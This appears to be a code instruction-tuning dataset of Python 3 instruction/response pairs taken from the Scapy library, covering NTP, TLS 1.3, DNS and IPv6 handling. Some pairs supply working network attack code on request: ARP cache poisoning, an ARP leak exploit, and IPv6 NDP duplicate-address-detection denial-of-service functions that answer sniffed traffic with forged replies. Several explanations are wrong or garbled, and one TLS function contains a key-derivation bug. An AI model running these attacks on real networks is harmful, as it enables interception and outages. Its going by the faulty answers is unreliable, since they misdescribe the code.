How would you code a function in Python 3 to
return the right class for a given NTP packet.

Response:
def _ntp_dispatcher(payload):
    """
    Returns the right class for a given NTP packet.
    """
    # By default, calling NTP() will build a NTP packet as defined in RFC 5905
    # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC.
    if payload is None:
        return NTPHeader
    else:
        length = len(payload)
        if length >= _NTP_PACKET_MIN_SIZE:
            first_byte = orb(payload[0])
            # Extract NTP mode
            mode = first_byte & 7
            return {6: NTPControl, 7: NTPPrivate}.get(mode, NTPHeader)
    return conf.raw_layer


Instruction:
Here you have a function in Python 3, explain what it does
def pre_dissect(self, s):
        length = len(s)
        if length < _NTP_PACKET_MIN_SIZE:
            err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE "
            err += "({})).".format(_NTP_PACKET_MIN_SIZE)
            raise _NTPInvalidDataException(err)
        return s

Response: Check that the payload is long enough to build a NTP packet.


Instruction:
Implement a function in Python 3 to
guess the payload class based on the payload size.

Response:
def guess_payload_class(self, payload):
        """
        Handles NTPv4 extensions and MAC part (when authentication is used.)
        """
        plen = len(payload)

        if plen > _NTP_AUTH_MD5_TAIL_SIZE:
            return NTPExtensions
        elif plen == _NTP_AUTH_MD5_TAIL_SIZE:
            return NTPAuthenticator

        return Packet.guess_payload_class(self, payload)


Instruction:
Can you generate a brief explanation for the following Python 3 code
def snapshot(self):
        snap = connState(connection_end=self.connection_end,
                         read_or_write=self.row,
                         seq_num=self.seq_num,
                         compression_alg=type(self.compression),
                         ciphersuite=type(self.ciphersuite),
                         tls_version=self.tls_version)
        snap.cipher = self.cipher.snapshot()
        if self.hmac:
            snap.hmac.key = self.hmac.key
        return snap

Response: Returns a new connState object with the current state of the current session.


Instruction:
Can you generate a brief explanation for the following Python 3 code
def mirror(self):

        self.ipdst, self.ipsrc = self.ipsrc, self.ipdst
        self.dport, self.sport = self.sport, self.dport

        self.rcs, self.wcs = self.wcs, self.rcs
        if self.rcs:
            self.rcs.row = "read"
        if self.wcs:
            self.wcs.row = "write"

        self.prcs, self.pwcs = self.pwcs, self.prcs
        if self.prcs:
            self.prcs.row = "read"
        if self.pwcs:
            self.pwcs.row = "write"

        self.triggered_prcs_commit, self.triggered_pwcs_commit = \
            self.triggered_pwcs_commit, self.triggered_prcs_commit

        if self.connection_end == "client":
            self.connection_end = "server"
        elif self.connection_end == "server":
            self.connection_end = "client"

        return self

Response: This function takes a TLSSession object and swaps the IP addresses ports connection ends and connection states.


Instruction:
Can you tell what is the following Python 3 function doing
def compute_tls13_early_secrets(self):
        # we use the prcs rather than the pwcs in a totally arbitrary way
        if self.prcs is None:
            # too soon
            return

        hkdf = self.prcs.hkdf

        self.tls13_early_secret = hkdf.extract(None,
                                               self.tls13_psk_secret)

        bk = hkdf.derive_secret(self.tls13_early_secret,
                                b"external psk binder key",
                                # "resumption psk binder key",
                                b"")
        self.tls13_derived_secrets["binder_key"] = bk

        if len(self.handshake_messages) > 1:
            # these secrets are not defined in case of HRR
            return

        cets = hkdf.derive_secret(self.tls13_early_secret,
                                  b"client early traffic secret",
                                  b"".join(self.handshake_messages))
        self.tls13_derived_secrets["client_early_traffic_secret"] = cets

        ees = hkdf.derive_secret(self.tls13_early_secret,
                                 b"early exporter master secret",
                                 b"".join(self.handshake_messages))
        self.tls13_derived_secrets["early_exporter_secret"] = ees

        if self.connection_end == "server":
            self.prcs.tls13_derive_keys(cets)
        elif self.connection_end == "client":
            self.pwcs.tls13_derive_keys(cets)

Response: Computes the keys and IV for ClientHello and ClientHello messages.


Instruction:
Explain what the following Python 3 code does
def compute_tls13_handshake_secrets(self):
        if self.tls13_early_secret is None:
            warning("No early secret. This is abnormal.")

        hkdf = self.prcs.hkdf

        self.tls13_handshake_secret = hkdf.extract(self.tls13_early_secret,
                                                   self.tls13_dhe_secret)

        chts = hkdf.derive_secret(self.tls13_handshake_secret,
                                  b"client handshake traffic secret",
                                  b"".join(self.handshake_messages))
        self.tls13_derived_secrets["client_handshake_traffic_secret"] = chts

        shts = hkdf.derive_secret(self.tls13_handshake_secret,
                                  b"server handshake traffic secret",
                                  b"".join(self.handshake_messages))
        self.tls13_derived_secrets["server_handshake_traffic_secret"] = shts

        if self.connection_end == "server":
            self.prcs.tls13_derive_keys(chts)
            self.pwcs.tls13_derive_keys(shts)
        elif self.connection_end == "client":
            self.pwcs.tls13_derive_keys(chts)
            self.prcs.tls13_derive_keys(shts)

Response: Computes the TLS13 - Handshaking secret for the current session.


Instruction:
How would you explain what the following Python 3 function does
def compute_tls13_traffic_secrets(self):
        hkdf = self.prcs.hkdf

        self.tls13_master_secret = hkdf.extract(self.tls13_handshake_secret,
                                                None)

        cts0 = hkdf.derive_secret(self.tls13_master_secret,
                                  b"client application traffic secret",
                                  b"".join(self.handshake_messages))
        self.tls13_derived_secrets["client_traffic_secrets"] = [cts0]

        sts0 = hkdf.derive_secret(self.tls13_master_secret,
                                  b"server application traffic secret",
                                  b"".join(self.handshake_messages))
        self.tls13_derived_secrets["server_traffic_secrets"] = [sts0]

        es = hkdf.derive_secret(self.tls13_master_secret,
                                b"exporter master secret",
                                b"".join(self.handshake_messages))
        self.tls13_derived_secrets["exporter_secret"] = es

        if self.connection_end == "server":
            # self.prcs.tls13_derive_keys(cts0)
            self.pwcs.tls13_derive_keys(sts0)
        elif self.connection_end == "client":
            # self.pwcs.tls13_derive_keys(cts0)
            self.prcs.tls13_derive_keys(sts0)

Response: Computes the master and server secret of the TC1 and TC2.


Instruction:
Given the following Python 3 function, write the documentation
def compute_tls13_resumption_secret(self):
        if self.connection_end == "server":
            hkdf = self.prcs.hkdf
        elif self.connection_end == "client":
            hkdf = self.pwcs.hkdf
        rs = hkdf.derive_secret(self.tls13_master_secret,
                                b"resumption master secret",
                                b"".join(self.handshake_messages))
        self.tls13_derived_secrets["resumption_secret"] = rs

Response: Computes the TLS13 resumption master secret for the server and client.


Instruction:
Write a Python 3 function for
computing the next application traffic secret for the next application.

Response:
def compute_tls13_next_traffic_secrets(self):
        """
        Ciphers key and IV are updated accordingly.
        """
        hkdf = self.prcs.hkdf
        hl = hkdf.hash.digest_size

        cts = self.tls13_derived_secrets["client_traffic_secrets"]
        ctsN = cts[-1]
        ctsN_1 = hkdf.expand_label(ctsN, "application traffic secret", "", hl)
        cts.append(ctsN_1)

        stsN_1 = hkdf.expand_label(ctsN, "application traffic secret", "", hl)
        cts.append(stsN_1)

        if self.connection_end == "server":
            self.prcs.tls13_derive_keys(ctsN_1)
            self.pwcs.tls13_derive_keys(stsN_1)
        elif self.connection_end == "client":
            self.pwcs.tls13_derive_keys(ctsN_1)
            self.prcs.tls13_derive_keys(stsN_1)


Instruction:
Can you generate the documentation for the following Python 3 function
def show2(self):
        s = self.tls_session
        rcs_snap = s.rcs.snapshot()
        wcs_snap = s.wcs.snapshot()

        s.rcs = self.rcs_snap_init

        built_packet = raw(self)
        s.frozen = True
        self.__class__(built_packet, tls_session=s).show()
        s.frozen = False

        s.rcs = rcs_snap
        s.wcs = wcs_snap

Response: Show the TLS packet with the same context and then. show it.


Instruction:
Can you tell what is the following Python 3 function doing
def _LLSGuessPayloadClass(p, **kargs):

    cls = conf.raw_layer
    if len(p) >= 3:
        typ = struct.unpack("!H", p[0:2])[0]
        clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV")
        cls = globals()[clsname]
    return cls(p, **kargs)

Response: Guess the correct LLS class for a given payload


Instruction:
Create a Python 3 function to
guess the correct OSPFv3 LSA class for a given payload

Response:
def _OSPFv3_LSAGuessPayloadClass(p, **kargs):
    """ Guess the correct OSPFv3 LSA class for a given payload """

    cls = conf.raw_layer

    if len(p) >= 6:
        typ = struct.unpack("!H", p[2:4])[0]
        clsname = _OSPFv3_LSclasses.get(typ, "Raw")
        cls = globals()[clsname]

    return cls(p, **kargs)


Instruction:
Can you implement a function in Python 3 that
returns the MAC address corresponding to a given IP address

Response:
def getmacbyip(ip, chainCC=0):
    """Return MAC address corresponding to a given IP address"""
    if isinstance(ip, Net):
        ip = next(iter(ip))
    ip = inet_ntoa(inet_aton(ip or "0.0.0.0"))
    tmp = [orb(e) for e in inet_aton(ip)]
    if (tmp[0] & 0xf0) == 0xe0:  # mcast @
        return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1] & 0x7f, tmp[2], tmp[3])
    iff, _, gw = conf.route.route(ip)
    if ((iff == consts.LOOPBACK_INTERFACE) or (ip == conf.route.get_if_bcast(iff))):  # noqa: E501
        return "ff:ff:ff:ff:ff:ff"
    if gw != "0.0.0.0":
        ip = gw

    mac = conf.netcache.arp_cache.get(ip)
    if mac:
        return mac

    try:
        res = srp1(Ether(dst=ETHER_BROADCAST) / ARP(op="who-has", pdst=ip),
                   type=ETH_P_ARP,
                   iface=iff,
                   timeout=2,
                   verbose=0,
                   chainCC=chainCC,
                   nofilter=1)
    except Exception:
        return None
    if res is not None:
        mac = res.payload.hwsrc
        conf.netcache.arp_cache[ip] = mac
        return mac
    return None


Instruction:
Implement a Python 3 function for
poisoning target s cache with ( your MAC victim s IP

Response:
def arpcachepoison(target, victim, interval=60):
    """Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None
"""
    tmac = getmacbyip(target)
    p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target)
    try:
        while True:
            sendp(p, iface_hint=target)
            if conf.verb > 1:
                os.write(1, b".")
            time.sleep(interval)
    except KeyboardInterrupt:
        pass


Instruction:
Write a Python 3 script for
trying to guess if target is in Promisc mode.

Response:
def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs):
    """Try to guess if target is in Promisc mode. The target is provided by its ip."""  # noqa: E501

    responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs)  # noqa: E501

    return responses is not None


Instruction:
Write a Python 3 function for
sending ARP who - has requests to determine which hosts are in promiscuous mode

Response:
def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs):
    """Send ARP who-has requests to determine which hosts are in promiscuous mode
    promiscping(net, iface=conf.iface)"""
    ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net),
                     filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs)  # noqa: E501
    ans = ARPingResult(ans.res, name="PROMISCPing")

    ans.display()
    return ans, unans


Instruction:
Explain what the following Python 3 code does
def arpleak(target, plen=255, hwlen=255, **kargs):
    # We want explicit packets
    pkts_iface = {}
    for pkt in ARP(pdst=target):
        # We have to do some of Scapy's work since we mess with
        # important values
        iface = conf.route.route(pkt.pdst)[0]
        psrc = get_if_addr(iface)
        hwsrc = get_if_hwaddr(iface)
        pkt.plen = plen
        pkt.hwlen = hwlen
        if plen == 4:
            pkt.psrc = psrc
        else:
            pkt.psrc = inet_aton(psrc)[:plen]
            pkt.pdst = inet_aton(pkt.pdst)[:plen]
        if hwlen == 6:
            pkt.hwsrc = hwsrc
        else:
            pkt.hwsrc = mac2str(hwsrc)[:hwlen]
        pkts_iface.setdefault(iface, []).append(
            Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt
        )
    ans, unans = SndRcvList(), PacketList(name="Unanswered")
    for iface, pkts in viewitems(pkts_iface):
        ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs)
        ans += ans_new
        unans += unans_new
        ans.listname = "Results"
        unans.listname = "Unanswered"
    for _, rcv in ans:
        if ARP not in rcv:
            continue
        rcv = rcv[ARP]
        psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)
        if plen > 4 and len(psrc) > 4:
            print("psrc")
            hexdump(psrc[4:])
            print()
        hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)
        if hwlen > 6 and len(hwsrc) > 6:
            print("hwsrc")
            hexdump(hwsrc[6:])
            print()
    return ans, unans

Response: Exploit ARP leak flaws like NetBSD - SA2017 -002.


Instruction:
Can you write a function in Python 3 where it
encodes a bytes string into the DNS format.

Response:
def dns_encode(x, check_built=False):
    """Encodes a bytes string into the DNS format

    :param x: the string
    :param check_built: detect already-built strings and ignore them
    :returns: the encoded bytes string
    """
    if not x or x == b".":
        return b"\x00"

    if check_built and b"." not in x and (
        orb(x[-1]) == 0 or (orb(x[-2]) & 0xc0) == 0xc0
    ):
        # The value has already been processed. Do not process it again
        return x

    # Truncate chunks that cannot be encoded (more than 63 bytes..)
    x = b"".join(chb(len(y)) + y for y in (k[:63] for k in x.split(b".")))
    if x[-1:] != b"\x00":
        x += b"\x00"
    return x


Instruction:
Implement a function in Python 3 to
encode a list of integers representing Resource Records to a bitmap field.

Response:
def RRlist2bitmap(lst):
    """
    Encode a list of integers representing Resource Records to a bitmap field
    used in the NSEC Resource Record.
    """
    # RFC 4034, 4.1.2. The Type Bit Maps Field

    import math

    bitmap = b""
    lst = [abs(x) for x in sorted(set(lst)) if x <= 65535]

    # number of window blocks
    max_window_blocks = int(math.ceil(lst[-1] / 256.))
    min_window_blocks = int(math.floor(lst[0] / 256.))
    if min_window_blocks == max_window_blocks:
        max_window_blocks += 1

    for wb in range(min_window_blocks, max_window_blocks + 1):
        # First, filter out RR not encoded in the current window block
        # i.e. keep everything between 256*wb <= 256*(wb+1)
        rrlist = sorted(x for x in lst if 256 * wb <= x < 256 * (wb + 1))
        if not rrlist:
            continue

        # Compute the number of bytes used to store the bitmap
        if rrlist[-1] == 0:  # only one element in the list
            bytes_count = 1
        else:
            max = rrlist[-1] - 256 * wb
            bytes_count = int(math.ceil(max // 8)) + 1  # use at least 1 byte
        if bytes_count > 32:  # Don't encode more than 256 bits / values
            bytes_count = 32

        bitmap += struct.pack("BB", wb, bytes_count)

        # Generate the bitmap
        # The idea is to remove out of range Resource Records with these steps
        # 1. rescale to fit into 8 bits
        # 2. x gives the bit position ; compute the corresponding value
        # 3. sum everything
        bitmap += b"".join(
            struct.pack(
                b"B",
                sum(2 ** (7 - (x - 256 * wb) + (tmp * 8)) for x in rrlist
                    if 256 * wb + 8 * tmp <= x < 256 * wb + 8 * tmp + 8),
            ) for tmp in range(bytes_count)
        )

    return bitmap


Instruction:
Explain what the following Python 3 code does
def dyndns_add(nameserver, name, rdata, type="A", ttl=10):
    zone = name[name.find(".") + 1:]
    r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5,
                                             qd=[DNSQR(qname=zone, qtype="SOA")],  # noqa: E501
                                             ns=[DNSRR(rrname=name, type="A",
                                                       ttl=ttl, rdata=rdata)]),
            verbose=0, timeout=5)
    if r and r.haslayer(DNS):
        return r.getlayer(DNS).rcode
    else:
        return -1

Response: Send a DNS add message to a nameserver for name to have a new rdata


Instruction:
How would you explain what the following Python 3 function does
def _convert_seconds(self, packed_seconds):
        seconds = struct.unpack("!H", packed_seconds[:2])[0]
        seconds += struct.unpack("!I", packed_seconds[2:])[0]
        return seconds

Response: Unpack the internal representation.


Instruction:
Write a Python 3 script to
convert the number of seconds since 1 - Jan - 70 UTC to the packed representation.

Response:
def h2i(self, pkt, seconds):
        """Convert the number of seconds since 1-Jan-70 UTC to the packed
           representation."""

        if seconds is None:
            seconds = 0

        tmp_short = (seconds >> 32) & 0xFFFF
        tmp_int = seconds & 0xFFFFFFFF

        return struct.pack("!HI", tmp_short, tmp_int)


Instruction:
How would you code a function in Python 3 to
convert the internal representation to a nice one using the RFC format.

Response:
def i2repr(self, pkt, packed_seconds):
        """Convert the internal representation to a nice one using the RFC
           format."""
        time_struct = time.gmtime(self._convert_seconds(packed_seconds))
        return time.strftime("%a %b %d %H:%M:%S %Y", time_struct)


Instruction:
Implement a Python 3 function for
returning True if self is an answer from other.

Response:
def answers(self, other):
        """DEV: true if self is an answer from other"""
        if other.__class__ == self.__class__:
            return (other.service + 0x40) == self.service or \
                   (self.service == 0x7f and
                    (self.requestServiceId == other.service))
        return 0


Instruction:
Make a summary of the following Python 3 code
def neighsol(addr, src, iface, timeout=1, chainCC=0):

    nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr))
    d = inet_ntop(socket.AF_INET6, nsma)
    dm = in6_getnsmac(nsma)
    p = Ether(dst=dm) / IPv6(dst=d, src=src, hlim=255)
    p /= ICMPv6ND_NS(tgt=addr)
    p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface))
    res = srp1(p, type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0,
               chainCC=chainCC)

    return res

Response: Sends and receive an ICMPv6 Neighbor Solicitation message to the specified IPv6 address.


Instruction:
Explain what the following Python 3 code does
def getmacbyip6(ip6, chainCC=0):

    if isinstance(ip6, Net6):
        ip6 = str(ip6)

    if in6_ismaddr(ip6):  # Multicast
        mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6))
        return mac

    iff, a, nh = conf.route6.route(ip6)

    if iff == scapy.consts.LOOPBACK_INTERFACE:
        return "ff:ff:ff:ff:ff:ff"

    if nh != '::':
        ip6 = nh  # Found next hop

    mac = conf.netcache.in6_neighbor.get(ip6)
    if mac:
        return mac

    res = neighsol(ip6, a, iff, chainCC=chainCC)

    if res is not None:
        if ICMPv6NDOptDstLLAddr in res:
            mac = res[ICMPv6NDOptDstLLAddr].lladdr
        else:
            mac = res.src
        conf.netcache.in6_neighbor[ip6] = mac
        return mac

    return None

Response: Returns the MAC address corresponding to an IPv6 address.


Instruction:
Here you have a function in Python 3, explain what it does
def in6_chksum(nh, u, p):

    ph6 = PseudoIPv6()
    ph6.nh = nh
    rthdr = 0
    hahdr = 0
    final_dest_addr_found = 0
    while u is not None and not isinstance(u, IPv6):
        if (isinstance(u, IPv6ExtHdrRouting) and
            u.segleft != 0 and len(u.addresses) != 0 and
                final_dest_addr_found == 0):
            rthdr = u.addresses[-1]
            final_dest_addr_found = 1
        elif (isinstance(u, IPv6ExtHdrSegmentRouting) and
              u.segleft != 0 and len(u.addresses) != 0 and
              final_dest_addr_found == 0):
            rthdr = u.addresses[0]
            final_dest_addr_found = 1
        elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and
              isinstance(u.options[0], HAO)):
            hahdr = u.options[0].hoa
        u = u.underlayer
    if u is None:
        warning("No IPv6 underlayer to compute checksum. Leaving null.")
        return 0
    if hahdr:
        ph6.src = hahdr
    else:
        ph6.src = u.src
    if rthdr:
        ph6.dst = rthdr
    else:
        ph6.dst = u.dst
    ph6.uplen = len(p)
    ph6s = raw(ph6)
    return checksum(ph6s + p)

Response: This function calculates the checksum of an IPv6 message.


Instruction:
Create a Python 3 function for
taking a list of IPv6 packets and returns a list of IPv6 fragments.

Response:
def defragment6(packets):
    """
    Performs defragmentation of a list of IPv6 packets. Packets are reordered.
    Crap is dropped. What lacks is completed by 'X' characters.
    """

    # Remove non fragments
    lst = [x for x in packets if IPv6ExtHdrFragment in x]
    if not lst:
        return []

    id = lst[0][IPv6ExtHdrFragment].id

    llen = len(lst)
    lst = [x for x in lst if x[IPv6ExtHdrFragment].id == id]
    if len(lst) != llen:
        warning("defragment6: some fragmented packets have been removed from list")  # noqa: E501
    llen = len(lst)

    # reorder fragments
    res = []
    while lst:
        min_pos = 0
        min_offset = lst[0][IPv6ExtHdrFragment].offset
        for p in lst:
            cur_offset = p[IPv6ExtHdrFragment].offset
            if cur_offset < min_offset:
                min_pos = 0
                min_offset = cur_offset
        res.append(lst[min_pos])
        del(lst[min_pos])

    # regenerate the fragmentable part
    fragmentable = b""
    for p in res:
        q = p[IPv6ExtHdrFragment]
        offset = 8 * q.offset
        if offset != len(fragmentable):
            warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset))  # noqa: E501
        fragmentable += b"X" * (offset - len(fragmentable))
        fragmentable += raw(q.payload)

    # Regenerate the unfragmentable part.
    q = res[0]
    nh = q[IPv6ExtHdrFragment].nh
    q[IPv6ExtHdrFragment].underlayer.nh = nh
    q[IPv6ExtHdrFragment].underlayer.plen = len(fragmentable)
    del q[IPv6ExtHdrFragment].underlayer.payload
    q /= conf.raw_layer(load=fragmentable)
    del(q.plen)

    return IPv6(raw(q))


Instruction:
Here you have a function in Python 3, explain what it does
def fragment6(pkt, fragSize):

    pkt = pkt.copy()

    if IPv6ExtHdrFragment not in pkt:
        # TODO : automatically add a fragment before upper Layer
        #        at the moment, we do nothing and return initial packet
        #        as single element of a list
        return [pkt]

    # If the payload is bigger than 65535, a Jumbo payload must be used, as
    # an IPv6 packet can't be bigger than 65535 bytes.
    if len(raw(pkt[IPv6ExtHdrFragment])) > 65535:
        warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.")  # noqa: E501
        return []

    s = raw(pkt)  # for instantiation to get upper layer checksum right

    if len(s) <= fragSize:
        return [pkt]

    # Fragmentable part : fake IPv6 for Fragmentable part length computation
    fragPart = pkt[IPv6ExtHdrFragment].payload
    tmp = raw(IPv6(src="::1", dst="::1") / fragPart)
    fragPartLen = len(tmp) - 40  # basic IPv6 header length
    fragPartStr = s[-fragPartLen:]

    # Grab Next Header for use in Fragment Header
    nh = pkt[IPv6ExtHdrFragment].nh

    # Keep fragment header
    fragHeader = pkt[IPv6ExtHdrFragment]
    del fragHeader.payload  # detach payload

    # Unfragmentable Part
    unfragPartLen = len(s) - fragPartLen - 8
    unfragPart = pkt
    del pkt[IPv6ExtHdrFragment].underlayer.payload  # detach payload

    # Cut the fragmentable part to fit fragSize. Inner fragments have
    # a length that is an integer multiple of 8 octets. last Frag MTU
    # can be anything below MTU
    lastFragSize = fragSize - unfragPartLen - 8
    innerFragSize = lastFragSize - (lastFragSize % 8)

    if lastFragSize <= 0 or innerFragSize == 0:
        warning("Provided fragment size value is too low. " +
                "Should be more than %d" % (unfragPartLen + 8))
        return [unfragPart / fragHeader / fragPart]

    remain = fragPartStr
    res = []
    fragOffset = 0     # offset, incremeted during creation
    fragId = random.randint(0, 0xffffffff)  # random id ...
    if fragHeader.id is not None:  # ... except id provided by user
        fragId = fragHeader.id
    fragHeader.m = 1
    fragHeader.id = fragId
    fragHeader.nh = nh

    # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ...
    while True:
        if (len(remain) > lastFragSize):
            tmp = remain[:innerFragSize]
            remain = remain[innerFragSize:]
            fragHeader.offset = fragOffset    # update offset
            fragOffset += (innerFragSize // 8)  # compute new one
            if IPv6 in unfragPart:
                unfragPart[IPv6].plen = None
            tempo = unfragPart / fragHeader / conf.raw_layer(load=tmp)
            res.append(tempo)
        else:
            fragHeader.offset = fragOffset    # update offSet
            fragHeader.m = 0
            if IPv6 in unfragPart:
                unfragPart[IPv6].plen = None
            tempo = unfragPart / fragHeader / conf.raw_layer(load=remain)
            res.append(tempo)
            break
    return res

Response: This function is used to create a new IPv6 fragment. It is used to create a new IPv6 packet with the specified fragment size.


Instruction:
Write a Python 3 function for
converting a list of DNS names or a single DNS name into a DNS name in DNS format.

Response:
def names2dnsrepr(x):
    """
    Take as input a list of DNS names or a single DNS name
    and encode it in DNS format (with possible compression)
    If a string that is already a DNS name in DNS format
    is passed, it is returned unmodified. Result is a string.
    !!!  At the moment, compression is not implemented  !!!
    """

    if isinstance(x, bytes):
        if x and x[-1:] == b'\x00':  # stupid heuristic
            return x
        x = [x]

    res = []
    for n in x:
        termin = b"\x00"
        if n.count(b'.') == 0:  # single-component gets one more
            termin += b'\x00'
        n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin
        res.append(n)
    return b"".join(res)


Instruction:
Make a summary of the following Python 3 code
def dnsrepr2names(x):
    res = []
    cur = b""
    while x:
        tmp_len = orb(x[0])
        x = x[1:]
        if not tmp_len:
            if cur and cur[-1:] == b'.':
                cur = cur[:-1]
            res.append(cur)
            cur = b""
            if x and orb(x[0]) == 0:  # single component
                x = x[1:]
            continue
        if tmp_len & 0xc0:  # XXX TODO : work on that -- arno
            raise Exception("DNS message can't be compressed at this point!")
        cur += x[:tmp_len] + b"."
        x = x[tmp_len:]
    return res

Response: Takes as input a DNS encoded string possibly compressed and returns a list of DNS names contained in it.


Instruction:
Can you generate the documentation for the following Python 3 function
def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
                        tgt_filter=None, reply_mac=None):
    """
    Internal generic helper accepting a specific callback as first argument,
    for NS or NA reply. See the two specific functions below.
    """

    def is_request(req, mac_src_filter, tgt_filter):
        """
        Check if packet req is a request
        """

        # Those simple checks are based on Section 5.4.2 of RFC 4862
        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
            return 0

        # Get and compare the MAC address
        mac_src = req[Ether].src
        if mac_src_filter and mac_src != mac_src_filter:
            return 0

        # Source must be the unspecified address
        if req[IPv6].src != "::":
            return 0

        # Check destination is the link-local solicited-node multicast
        # address associated with target address in received NS
        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
        if tgt_filter and tgt != tgt_filter:
            return 0
        received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst)
        expected_snma = in6_getnsma(tgt)
        if received_snma != expected_snma:
            return 0

        return 1

    if not iface:
        iface = conf.iface

    # To prevent sniffing our own traffic
    if not reply_mac:
        reply_mac = get_if_hwaddr(iface)
    sniff_filter = "icmp6 and not ether src %s" % reply_mac

    sniff(store=0,
          filter=sniff_filter,
          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
          prn=lambda x: reply_callback(x, reply_mac, iface),
          iface=iface)

Response: Internal function for DAD attack DAD doS.


Instruction:
Write a Python 3 script to
perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NS sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the unspecified address (::). - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface.

Response:
def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
                              reply_mac=None):
    """
    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
    3756. This is done by listening incoming NS messages sent from the
    unspecified address and sending a NS reply for the target address,
    leading the peer to believe that another node is also performing DAD
    for that address.

    By default, the fake NS sent to create the DoS uses:
     - as target address the target address found in received NS.
     - as IPv6 source address: the unspecified address (::).
     - as IPv6 destination address: the link-local solicited-node multicast
       address derived from the target address in received NS.
     - the mac address of the interface as source (or reply_mac, see below).
     - the multicast mac address derived from the solicited node multicast
       address used as IPv6 destination address.

    Following arguments can be used to change the behavior:

    iface: a specific interface (e.g. "eth0") of the system on which the
         DoS should be launched. If None is provided conf.iface is used.

    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
         Only NS messages received from this source will trigger replies.
         This allows limiting the effects of the DoS to a single target by
         filtering on its mac address. The default value is None: the DoS
         is not limited to a specific mac address.

    tgt_filter: Same as previous but for a specific target IPv6 address for
         received NS. If the target address in the NS message (not the IPv6
         destination address) matches that address, then a fake reply will
         be sent, i.e. the emitter will be a target of the DoS.

    reply_mac: allow specifying a specific source mac address for the reply,
         i.e. to prevent the use of the mac address of the interface.
    """

    def ns_reply_callback(req, reply_mac, iface):
        """
        Callback that reply to a NS by sending a similar NS
        """

        # Let's build a reply and send it
        mac = req[Ether].src
        dst = req[IPv6].dst
        tgt = req[ICMPv6ND_NS].tgt
        rep = Ether(src=reply_mac) / IPv6(src="::", dst=dst) / ICMPv6ND_NS(tgt=tgt)  # noqa: E501
        sendp(rep, iface=iface, verbose=0)

        print("Reply NS for target address %s (received from %s)" % (tgt, mac))

    _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
                        tgt_filter, reply_mac)


Instruction:
Implement a function in Python 3 to
perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a NA reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NA sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the target address found in received NS. - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled with the mac address used as source of the NA. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. This address will also be used in the Target Link-Layer Address option.

Response:
def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
                              reply_mac=None):
    """
    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
    3756. This is done by listening incoming NS messages *sent from the
    unspecified address* and sending a NA reply for the target address,
